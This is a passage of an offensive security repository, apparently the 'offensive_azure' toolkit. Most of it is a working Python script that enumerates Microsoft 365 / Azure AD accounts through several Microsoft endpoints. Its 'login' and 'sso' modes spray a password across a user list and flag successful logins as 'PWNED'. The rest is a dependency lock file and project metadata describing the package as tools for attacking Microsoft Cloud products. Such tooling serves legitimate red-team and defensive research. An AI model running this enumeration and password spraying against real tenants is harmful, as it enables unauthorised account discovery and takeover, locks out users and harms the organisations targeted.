'originalRequest': '', 256 | 'flowToken': '' 257 | } 258 | 259 | json_data = json.dumps(data) 260 | 261 | headers = { 262 | 'Content-Type': 'application/json; charset=utf-8', 263 | } 264 | 265 | endpoint = 'https://login.microsoftonline.com/common/GetCredentialType' 266 | 267 | json_response = requests.post(endpoint, headers=headers, data=json_data).json() 268 | 269 | if json_response['ThrottleStatus'] == 1: 270 | print(f'{WARNING}Requests being throttled.{RESET}') 271 | exists = '???' 272 | else: 273 | if json_response['IfExistsResult'] == 0 or json_response['IfExistsResult'] == 6: 274 | exists = 'VALID_USER' 275 | else: 276 | exists = 'INVALID_USER' 277 | 278 | results.append({ 279 | 'account': user, 280 | 'exists': exists 281 | }) 282 | 283 | elif args.method == 'onedrive': 284 | print(f'{WARNING}[!]{RESET} This will only discover accounts that have M365 licenses') 285 | valid_tenant_name = find_tenant_name(userlist[0], args.method) 286 | if valid_tenant_name: 287 | for user in userlist: 288 | user_domain = user.replace('@','_').replace('.','_') 289 | onedrive_endpoint = f'https://{valid_tenant_name}-my.sharepoint.com' \ 290 | f'/personal/{user_domain}/_layouts/15/onedrive.aspx' 291 | user_check = requests.get(onedrive_endpoint) 292 | user_check_status = user_check.status_code 293 | exists = 'INVALID_USER' 294 | if user_check_status in [200, 302, 401, 403]: 295 | exists = 'VALID_USER' 296 | results.append({ 297 | 'account': user, 298 | 'exists': exists 299 | }) 300 | else: 301 | print(f'{WARNING}[?]{RESET} Valid tenant name was not determined. Exiting.') 302 | sys.exit() 303 | 304 | elif args.method == 'lists': 305 | print(f'{WARNING}[!]{RESET} This will only discover accounts that have M365 licenses') 306 | valid_tenant_name = find_tenant_name(userlist[0], args.method) 307 | if valid_tenant_name: 308 | for user in userlist: 309 | user_domain = user.replace('@','_').replace('.','_') 310 | lists_endpoint = f'https://{valid_tenant_name}-my.sharepoint.com' \ 311 | f'/personal/{user_domain}/_layouts/15/Lists.aspx' 312 | user_check = requests.get(lists_endpoint) 313 | user_check_status = user_check.status_code 314 | exists = 'INVALID_USER' 315 | if user_check_status in [200, 302, 401, 403]: 316 | exists = 'VALID_USER' 317 | results.append({ 318 | 'account': user, 319 | 'exists': exists 320 | }) 321 | else: 322 | print(f'{WARNING}[?]{RESET} Valid tenant name was not determined. Exiting.') 323 | sys.exit() 324 | 325 | elif args.method == 'login': 326 | for user in userlist: 327 | data = { 328 | 'resource': client_id, 329 | 'client_id': client_id, 330 | 'grant_type': 'password', 331 | 'username': user, 332 | 'password': password, 333 | 'scope': 'openid' 334 | } 335 | 336 | endpoint = 'https://login.microsoftonline.com/common/oauth2/token' 337 | 338 | headers = { 339 | 'Content-Type': 'application/x-www-form-urlencoded' 340 | } 341 | 342 | json_response = requests.post(endpoint, headers=headers, data=data).json() 343 | 344 | try: 345 | if json_response['token_type'] == 'Bearer': 346 | exists = 'PWNED' 347 | except KeyError: 348 | response_code = json_response['error_description'].split(':')[0] 349 | if response_code == 'AADSTS50053': 350 | # The account is locked, you've tried to sign in 351 | # too many times with an incorrect user ID or password. 352 | exists = 'LOCKED' 353 | elif response_code == 'AADSTS50126': 354 | # Error validating credentials due to invalid username or password. 355 | exists = 'VALID_USER' 356 | elif response_code in ['AADSTS50076', 'AADSTS50079']: 357 | # Due to a configuration change made by your administrator, or because you moved to a new 358 | # location, you must use multi-factor authentication to access 359 | exists = 'MFA' 360 | elif response_code == 'AADSTS700016': 361 | # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. 362 | # This can happen if the application has not been installed by the administrator of the 363 | # tenant or consented to by any user in the tenant. 364 | # You may have sent your authentication request to the wrong tenant. 365 | exists = 'VALID_USER' 366 | elif response_code == 'AADSTS50034': 367 | # The user account {identifier} does not exist in the {tenant} directory. 368 | # To sign into this application, the account must be added to the directory. 369 | exists = 'INVALID_USER' 370 | elif response_code == 'AADSTS50128': 371 | # Tenant for account does not exist. 372 | exists = 'INVALID_TENANT' 373 | elif response_code == 'AADSTS90072': 374 | # Valid credential, not for this tenant 375 | exists = 'WRONG_TENANT' 376 | elif response_code == 'AADSTS50055': 377 | # User password is expired 378 | exists = 'EXPIRED_PASS' 379 | elif response_code == 'AADSTS50131': 380 | # Login blocked 381 | exists = 'LOGIN_BLOCKED' 382 | elif response_code == 'AADSTS50158': 383 | # Conditional Access 384 | exists = 'CONDITIONAL_ACCESS' 385 | elif response_code == 'AADSTS50056': 386 | # No password 387 | exists = 'NO_PASS' 388 | elif response_code == 'AADSTS80014': 389 | # PTA time exceeded 390 | exists = 'PTA_EXCEEDED' 391 | elif response_code == 'AADSTS50057': 392 | # Account disabled 393 | exists = 'DISABLED' 394 | else: 395 | exists = '???' 396 | 397 | results.append({ 398 | 'account': user, 399 | 'exists': exists 400 | }) 401 | 402 | elif args.method == 'sso': 403 | for user in userlist: 404 | rand_uuid = client_id 405 | message_id = str(uuid.uuid4()).upper() 406 | username_token = str(uuid.uuid4()).upper() 407 | 408 | domain = user.split("@")[1] 409 | 410 | date = datetime.now(timezone.utc) 411 | created_utc = date.strftime('%Y-%m-%dT%H:%M:%S.%fZ') 412 | expires_utc = (date + timedelta(minutes=10)).strftime('%Y-%m-%dT%H:%M:%S.%fZ') 413 | 414 | endpoint = f'https://autologon.microsoftazuread-sso.com/{domain}/winauth' \ 415 | f'/trust/2005/usernamemixed?client-request-id={rand_uuid}' 416 | 417 | xml = f''' 418 | 419 | 420 | http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue 421 | {endpoint} 422 | urn:uuid:{message_id} 423 | 424 | 425 | {created_utc} 426 | {expires_utc} 427 | 428 | 429 | {user} 430 | {password} 431 | 432 | 433 | 434 | 435 | 436 | http://schemas.xmlsoap.org/ws/2005/02/trust/Issue 437 | 438 | 439 | urn:federation:MicrosoftOnline 440 | 441 | 442 | http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey 443 | 444 | 445 | 446 | ''' 447 | 448 | response = requests.post(endpoint, data=xml) 449 | if response.status_code != 400: 450 | exists: 'PWNED' 451 | else: 452 | xml_response = ET.fromstring(str(response.content, 'utf-8')) 453 | response_code = xml_response[1][0][2][0][1][1].text.split(':')[0] 454 | if response_code == 'AADSTS50053': 455 | # The account is locked, you've tried to sign in 456 | # too many times with an incorrect user ID or password. 457 | exists = 'LOCKED' 458 | elif response_code == 'AADSTS50126': 459 | # Error validating credentials due to invalid username or password. 460 | exists = 'VALID_USER' 461 | elif response_code in ['AADSTS50076', 'AADSTS50079']: 462 | # Due to a configuration change made by your administrator, or because you moved to a new 463 | # location, you must use multi-factor authentication to access 464 | exists = 'MFA' 465 | elif response_code == 'AADSTS700016': 466 | # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. 467 | # This can happen if the application has not been installed by the administrator of the 468 | # tenant or consented to by any user in the tenant. 469 | # You may have sent your authentication request to the wrong tenant. 470 | exists = 'VALID_USER' 471 | elif response_code == 'AADSTS50034': 472 | # The user account {identifier} does not exist in the {tenant} directory. 473 | # To sign into this application, the account must be added to the directory. 474 | exists = 'INVALID_USER' 475 | elif response_code == 'AADSTS50128': 476 | # Tenant for account does not exist. 477 | exists = 'INVALID_TENANT' 478 | elif response_code == 'AADSTS90072': 479 | # Valid credential, not for this tenant 480 | exists = 'WRONG_TENANT' 481 | elif response_code == 'AADSTS50055': 482 | # User password is expired 483 | exists = 'EXPIRED_PASS' 484 | elif response_code == 'AADSTS50131': 485 | # Login blocked 486 | exists = 'LOGIN_BLOCKED' 487 | elif response_code == 'AADSTS50158': 488 | # Conditional Access 489 | exists = 'CONDITIONAL_ACCESS' 490 | elif response_code == 'AADSTS50056': 491 | # No password 492 | exists = 'NO_PASS' 493 | elif response_code == 'AADSTS80014': 494 | # PTA time exceeded 495 | exists = 'PTA_EXCEEDED' 496 | elif response_code == 'AADSTS50057': 497 | # Account disabled 498 | exists = 'DISABLED' 499 | else: 500 | exists = '???' 501 | results.append({ 502 | 'account': user, 503 | 'exists': exists 504 | }) 505 | 506 | for result in results: 507 | if result['exists'] == 'PWNED': 508 | print(f'{SUCCESS}[+]{RESET} {result["account"]} : {SUCCESS}{result["exists"]}{RESET}') 509 | elif result['exists'] == 'VALID_USER': 510 | print(f'{VALID}[+]{RESET} {result["account"]} : {VALID}{result["exists"]}{RESET}') 511 | elif result['exists'] in ['INVALID_USER','INVALID_TENANT']: 512 | print(f'{DANGER}[-]{RESET} {result["account"]} : {DANGER}{result["exists"]}{RESET}') 513 | else: 514 | print(f'{WARNING}[?]{RESET} {result["account"]} : {WARNING}{result["exists"]}{RESET}') 515 | 516 | # Write our results out to file 517 | with open(outfile, 'w+', encoding='UTF-8') as file: 518 | file.write(json.dumps(results)) 519 | file.close() 520 | 521 | if __name__ == '__main__': 522 | main() 523 | sys.exit() 524 | -------------------------------------------------------------------------------- /offensive_azure/__init__.py: -------------------------------------------------------------------------------- 1 | """Stub""" 2 | __version__ = '0.1.0' 3 | -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | [[package]] 2 | name = "atomicwrites" 3 | version = "1.4.0" 4 | description = "Atomic file writes." 5 | category = "dev" 6 | optional = false 7 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 8 | 9 | [[package]] 10 | name = "attrs" 11 | version = "21.4.0" 12 | description = "Classes Without Boilerplate" 13 | category = "dev" 14 | optional = false 15 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 16 | 17 | [package.extras] 18 | dev = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface", "furo", "sphinx", "sphinx-notfound-page", "pre-commit", "cloudpickle"] 19 | docs = ["furo", "sphinx", "zope.interface", "sphinx-notfound-page"] 20 | tests = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface", "cloudpickle"] 21 | tests_no_zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "cloudpickle"] 22 | 23 | [[package]] 24 | name = "certifi" 25 | version = "2021.10.8" 26 | description = "Python package for providing Mozilla's CA Bundle." 27 | category = "main" 28 | optional = false 29 | python-versions = "*" 30 | 31 | [[package]] 32 | name = "charset-normalizer" 33 | version = "2.0.12" 34 | description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." 35 | category = "main" 36 | optional = false 37 | python-versions = ">=3.5.0" 38 | 39 | [package.extras] 40 | unicode_backport = ["unicodedata2"] 41 | 42 | [[package]] 43 | name = "colorama" 44 | version = "0.4.4" 45 | description = "Cross-platform colored terminal text." 46 | category = "main" 47 | optional = false 48 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 49 | 50 | [[package]] 51 | name = "dnspython" 52 | version = "2.2.1" 53 | description = "DNS toolkit" 54 | category = "main" 55 | optional = false 56 | python-versions = ">=3.6,<4.0" 57 | 58 | [package.extras] 59 | dnssec = ["cryptography (>=2.6,<37.0)"] 60 | curio = ["curio (>=1.2,<2.0)", "sniffio (>=1.1,<2.0)"] 61 | doh = ["h2 (>=4.1.0)", "httpx (>=0.21.1)", "requests (>=2.23.0,<3.0.0)", "requests-toolbelt (>=0.9.1,<0.10.0)"] 62 | idna = ["idna (>=2.1,<4.0)"] 63 | trio = ["trio (>=0.14,<0.20)"] 64 | wmi = ["wmi (>=1.5.1,<2.0.0)"] 65 | 66 | [[package]] 67 | name = "future" 68 | version = "0.18.2" 69 | description = "Clean single-source support for Python 3 and 2" 70 | category = "main" 71 | optional = false 72 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 73 | 74 | [[package]] 75 | name = "idna" 76 | version = "3.3" 77 | description = "Internationalized Domain Names in Applications (IDNA)" 78 | category = "main" 79 | optional = false 80 | python-versions = ">=3.5" 81 | 82 | [[package]] 83 | name = "more-itertools" 84 | version = "8.12.0" 85 | description = "More routines for operating on iterables, beyond itertools" 86 | category = "dev" 87 | optional = false 88 | python-versions = ">=3.5" 89 | 90 | [[package]] 91 | name = "packaging" 92 | version = "21.3" 93 | description = "Core utilities for Python packages" 94 | category = "dev" 95 | optional = false 96 | python-versions = ">=3.6" 97 | 98 | [package.dependencies] 99 | pyparsing = ">=2.0.2,<3.0.5 || >3.0.5" 100 | 101 | [[package]] 102 | name = "pluggy" 103 | version = "0.13.1" 104 | description = "plugin and hook calling mechanisms for python" 105 | category = "dev" 106 | optional = false 107 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 108 | 109 | [package.extras] 110 | dev = ["pre-commit", "tox"] 111 | 112 | [[package]] 113 | name = "py" 114 | version = "1.11.0" 115 | description = "library with cross-python path, ini-parsing, io, code, log facilities" 116 | category = "dev" 117 | optional = false 118 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 119 | 120 | [[package]] 121 | name = "pycryptodome" 122 | version = "3.14.1" 123 | description = "Cryptographic library for Python" 124 | category = "main" 125 | optional = false 126 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 127 | 128 | [[package]] 129 | name = "pyparsing" 130 | version = "3.0.8" 131 | description = "pyparsing module - Classes and methods to define and execute parsing grammars" 132 | category = "dev" 133 | optional = false 134 | python-versions = ">=3.6.8" 135 | 136 | [package.extras] 137 | diagrams = ["railroad-diagrams", "jinja2"] 138 | 139 | [[package]] 140 | name = "pytest" 141 | version = "5.4.3" 142 | description = "pytest: simple powerful testing with Python" 143 | category = "dev" 144 | optional = false 145 | python-versions = ">=3.5" 146 | 147 | [package.dependencies] 148 | atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""} 149 | attrs = ">=17.4.0" 150 | colorama = {version = "*", markers = "sys_platform == \"win32\""} 151 | more-itertools = ">=4.0.0" 152 | packaging = "*" 153 | pluggy = ">=0.12,<1.0" 154 | py = ">=1.5.0" 155 | wcwidth = "*" 156 | 157 | [package.extras] 158 | checkqa-mypy = ["mypy (==v0.761)"] 159 | testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"] 160 | 161 | [[package]] 162 | name = "python-whois" 163 | version = "0.7.3" 164 | description = "Whois querying and parsing of domain registration information." 165 | category = "main" 166 | optional = false 167 | python-versions = "*" 168 | 169 | [package.dependencies] 170 | future = "*" 171 | 172 | [package.extras] 173 | "better date conversion" = ["python-dateutil"] 174 | 175 | [[package]] 176 | name = "requests" 177 | version = "2.27.1" 178 | description = "Python HTTP for Humans." 179 | category = "main" 180 | optional = false 181 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" 182 | 183 | [package.dependencies] 184 | certifi = ">=2017.4.17" 185 | charset-normalizer = {version = ">=2.0.0,<2.1.0", markers = "python_version >= \"3\""} 186 | idna = {version = ">=2.5,<4", markers = "python_version >= \"3\""} 187 | urllib3 = ">=1.21.1,<1.27" 188 | 189 | [package.extras] 190 | socks = ["PySocks (>=1.5.6,!=1.5.7)", "win-inet-pton"] 191 | use_chardet_on_py3 = ["chardet (>=3.0.2,<5)"] 192 | 193 | [[package]] 194 | name = "urllib3" 195 | version = "1.26.9" 196 | description = "HTTP library with thread-safe connection pooling, file post, and more." 197 | category = "main" 198 | optional = false 199 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4" 200 | 201 | [package.extras] 202 | brotli = ["brotlicffi (>=0.8.0)", "brotli (>=1.0.9)", "brotlipy (>=0.6.0)"] 203 | secure = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "certifi", "ipaddress"] 204 | socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] 205 | 206 | [[package]] 207 | name = "uuid" 208 | version = "1.30" 209 | description = "UUID object and generation functions (Python 2.3 or higher)" 210 | category = "main" 211 | optional = false 212 | python-versions = "*" 213 | 214 | [[package]] 215 | name = "wcwidth" 216 | version = "0.2.5" 217 | description = "Measures the displayed width of unicode strings in a terminal" 218 | category = "dev" 219 | optional = false 220 | python-versions = "*" 221 | 222 | [metadata] 223 | lock-version = "1.1" 224 | python-versions = "^3.8" 225 | content-hash = "056cf6b275692029372200e92f781c03f5f8125cb06c3d354706508acdaf0828" 226 | 227 | [metadata.files] 228 | atomicwrites = [ 229 | {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"}, 230 | {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"}, 231 | ] 232 | attrs = [ 233 | {file = "attrs-21.4.0-py2.py3-none-any.whl", hash = "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4"}, 234 | {file = "attrs-21.4.0.tar.gz", hash = "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd"}, 235 | ] 236 | certifi = [ 237 | {file = "certifi-2021.10.8-py2.py3-none-any.whl", hash = "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569"}, 238 | {file = "certifi-2021.10.8.tar.gz", hash = "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872"}, 239 | ] 240 | charset-normalizer = [ 241 | {file = "charset-normalizer-2.0.12.tar.gz", hash = "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597"}, 242 | {file = "charset_normalizer-2.0.12-py3-none-any.whl", hash = "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df"}, 243 | ] 244 | colorama = [ 245 | {file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"}, 246 | {file = "colorama-0.4.4.tar.gz", hash = "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"}, 247 | ] 248 | dnspython = [ 249 | {file = "dnspython-2.2.1-py3-none-any.whl", hash = "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"}, 250 | {file = "dnspython-2.2.1.tar.gz", hash = "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e"}, 251 | ] 252 | future = [ 253 | {file = "future-0.18.2.tar.gz", hash = "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"}, 254 | ] 255 | idna = [ 256 | {file = "idna-3.3-py3-none-any.whl", hash = "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff"}, 257 | {file = "idna-3.3.tar.gz", hash = "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d"}, 258 | ] 259 | more-itertools = [ 260 | {file = "more-itertools-8.12.0.tar.gz", hash = "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064"}, 261 | {file = "more_itertools-8.12.0-py3-none-any.whl", hash = "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b"}, 262 | ] 263 | packaging = [ 264 | {file = "packaging-21.3-py3-none-any.whl", hash = "sha256:ef103e05f519cdc783ae24ea4e2e0f508a9c99b2d4969652eed6a2e1ea5bd522"}, 265 | {file = "packaging-21.3.tar.gz", hash = "sha256:dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb"}, 266 | ] 267 | pluggy = [ 268 | {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"}, 269 | {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"}, 270 | ] 271 | py = [ 272 | {file = "py-1.11.0-py2.py3-none-any.whl", hash = "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378"}, 273 | {file = "py-1.11.0.tar.gz", hash = "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"}, 274 | ] 275 | pycryptodome = [ 276 | {file = "pycryptodome-3.14.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:75a3a364fee153e77ed889c957f6f94ec6d234b82e7195b117180dcc9fc16f96"}, 277 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:aae395f79fa549fb1f6e3dc85cf277f0351e15a22e6547250056c7f0c990d6a5"}, 278 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:f403a3e297a59d94121cb3ee4b1cf41f844332940a62d71f9e4a009cc3533493"}, 279 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ce7a875694cd6ccd8682017a7c06c6483600f151d8916f2b25cf7a439e600263"}, 280 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:a36ab51674b014ba03da7f98b675fcb8eabd709a2d8e18219f784aba2db73b72"}, 281 | {file = "pycryptodome-3.14.1-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:50a5346af703330944bea503106cd50c9c2212174cfcb9939db4deb5305a8367"}, 282 | {file = "pycryptodome-3.14.1-cp27-cp27m-win32.whl", hash = "sha256:36e3242c4792e54ed906c53f5d840712793dc68b726ec6baefd8d978c5282d30"}, 283 | {file = "pycryptodome-3.14.1-cp27-cp27m-win_amd64.whl", hash = "sha256:c880a98376939165b7dc504559f60abe234b99e294523a273847f9e7756f4132"}, 284 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:dcd65355acba9a1d0fc9b923875da35ed50506e339b35436277703d7ace3e222"}, 285 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:766a8e9832128c70012e0c2b263049506cbf334fb21ff7224e2704102b6ef59e"}, 286 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:2562de213960693b6d657098505fd4493c45f3429304da67efcbeb61f0edfe89"}, 287 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d1b7739b68a032ad14c5e51f7e4e1a5f92f3628bba024a2bda1f30c481fc85d8"}, 288 | {file = "pycryptodome-3.14.1-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:27e92c1293afcb8d2639baf7eb43f4baada86e4de0f1fb22312bfc989b95dae2"}, 289 | {file = "pycryptodome-3.14.1-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:f2772af1c3ef8025c85335f8b828d0193fa1e43256621f613280e2c81bfad423"}, 290 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux1_i686.whl", hash = "sha256:9ec761a35dbac4a99dcbc5cd557e6e57432ddf3e17af8c3c86b44af9da0189c0"}, 291 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:e64738207a02a83590df35f59d708bf1e7ea0d6adce712a777be2967e5f7043c"}, 292 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:e24d4ec4b029611359566c52f31af45c5aecde7ef90bf8f31620fd44c438efe7"}, 293 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:8b5c28058102e2974b9868d72ae5144128485d466ba8739abd674b77971454cc"}, 294 | {file = "pycryptodome-3.14.1-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:924b6aad5386fb54f2645f22658cb0398b1f25bc1e714a6d1522c75d527deaa5"}, 295 | {file = "pycryptodome-3.14.1-cp35-abi3-win32.whl", hash = "sha256:53dedbd2a6a0b02924718b520a723e88bcf22e37076191eb9b91b79934fb2192"}, 296 | {file = "pycryptodome-3.14.1-cp35-abi3-win_amd64.whl", hash = "sha256:ea56a35fd0d13121417d39a83f291017551fa2c62d6daa6b04af6ece7ed30d84"}, 297 | {file = "pycryptodome-3.14.1-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:028dcbf62d128b4335b61c9fbb7dd8c376594db607ef36d5721ee659719935d5"}, 298 | {file = "pycryptodome-3.14.1-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:69f05aaa90c99ac2f2af72d8d7f185f729721ad7c4be89e9e3d0ab101b0ee875"}, 299 | {file = "pycryptodome-3.14.1-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:12ef157eb1e01a157ca43eda275fa68f8db0dd2792bc4fe00479ab8f0e6ae075"}, 300 | {file = "pycryptodome-3.14.1-pp27-pypy_73-win32.whl", hash = "sha256:f572a3ff7b6029dd9b904d6be4e0ce9e309dcb847b03e3ac8698d9d23bb36525"}, 301 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9924248d6920b59c260adcae3ee231cd5af404ac706ad30aa4cd87051bf09c50"}, 302 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:e0c04c41e9ade19fbc0eff6aacea40b831bfcb2c91c266137bcdfd0d7b2f33ba"}, 303 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:893f32210de74b9f8ac869ed66c97d04e7d351182d6d39ebd3b36d3db8bda65d"}, 304 | {file = "pycryptodome-3.14.1-pp36-pypy36_pp73-win32.whl", hash = "sha256:7fb90a5000cc9c9ff34b4d99f7f039e9c3477700e309ff234eafca7b7471afc0"}, 305 | {file = "pycryptodome-3.14.1.tar.gz", hash = "sha256:e04e40a7f8c1669195536a37979dd87da2c32dbdc73d6fe35f0077b0c17c803b"}, 306 | ] 307 | pyparsing = [ 308 | {file = "pyparsing-3.0.8-py3-none-any.whl", hash = "sha256:ef7b523f6356f763771559412c0d7134753f037822dad1b16945b7b846f7ad06"}, 309 | {file = "pyparsing-3.0.8.tar.gz", hash = "sha256:7bf433498c016c4314268d95df76c81b842a4cb2b276fa3312cfb1e1d85f6954"}, 310 | ] 311 | pytest = [ 312 | {file = "pytest-5.4.3-py3-none-any.whl", hash = "sha256:5c0db86b698e8f170ba4582a492248919255fcd4c79b1ee64ace34301fb589a1"}, 313 | {file = "pytest-5.4.3.tar.gz", hash = "sha256:7979331bfcba207414f5e1263b5a0f8f521d0f457318836a7355531ed1a4c7d8"}, 314 | ] 315 | python-whois = [ 316 | {file = "python-whois-0.7.3.tar.gz", hash = "sha256:656a1100b8757f29daf010ec5a893a3d6349ccf097884021988c174eedea4a16"}, 317 | ] 318 | requests = [ 319 | {file = "requests-2.27.1-py2.py3-none-any.whl", hash = "sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d"}, 320 | {file = "requests-2.27.1.tar.gz", hash = "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61"}, 321 | ] 322 | urllib3 = [ 323 | {file = "urllib3-1.26.9-py2.py3-none-any.whl", hash = "sha256:44ece4d53fb1706f667c9bd1c648f5469a2ec925fcf3a776667042d645472c14"}, 324 | {file = "urllib3-1.26.9.tar.gz", hash = "sha256:aabaf16477806a5e1dd19aa41f8c2b7950dd3c746362d7e3223dbe6de6ac448e"}, 325 | ] 326 | uuid = [ 327 | {file = "uuid-1.30.tar.gz", hash = "sha256:1f87cc004ac5120466f36c5beae48b4c48cc411968eed0eaecd3da82aa96193f"}, 328 | ] 329 | wcwidth = [ 330 | {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"}, 331 | {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"}, 332 | ] 333 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "offensive_azure" 3 | version = "0.4.10" 4 | description = "Collection of tools for attacking Microsoft Cloud products" 5 | authors = ["Cody Martin "] 6 | license = "GPL-3.0" 7 | repository = "https://github.com/blacklanternsecurity.com/offensive-azure" 8 | readme = "README.md" 9 | 10 | [tool.poetry.scripts] 11 | token_juggle = 'offensive_azure.Access_Tokens.token_juggle:main' 12 | device_code_easy_mode = 'offensive_azure.Device_Code.device_code_easy_mode:main' 13 | outsider_recon = 'offensive_azure.Outsider_Recon.outsider_recon:runner' 14 | user_enum = 'offensive_azure.User_Enum.user_enum:main' 15 | read_token = 'offensive_azure.Access_Tokens.read_token:main' 16 | get_groups = 'offensive_azure.Azure_AD.get_groups:main' 17 | get_users = 'offensive_azure.Azure_AD.get_users:main' 18 | get_tenant = 'offensive_azure.Azure_AD.get_tenant:main' 19 | get_group_members = 'offensive_azure.Azure_AD.get_group_members:main' 20 | get_subscriptions = 'offensive_azure.Azure_AD.get_subscriptions:main' 21 | get_resource_groups = 'offensive_azure.Azure_AD.get_resource_groups:main' 22 | get_vms = 'offensive_azure.Azure_AD.get_vms:main' 23 | 24 | [tool.poetry.dependencies] 25 | python = "^3.8" 26 | dnspython = "^2.2.1" 27 | requests = "^2.27.1" 28 | colorama = 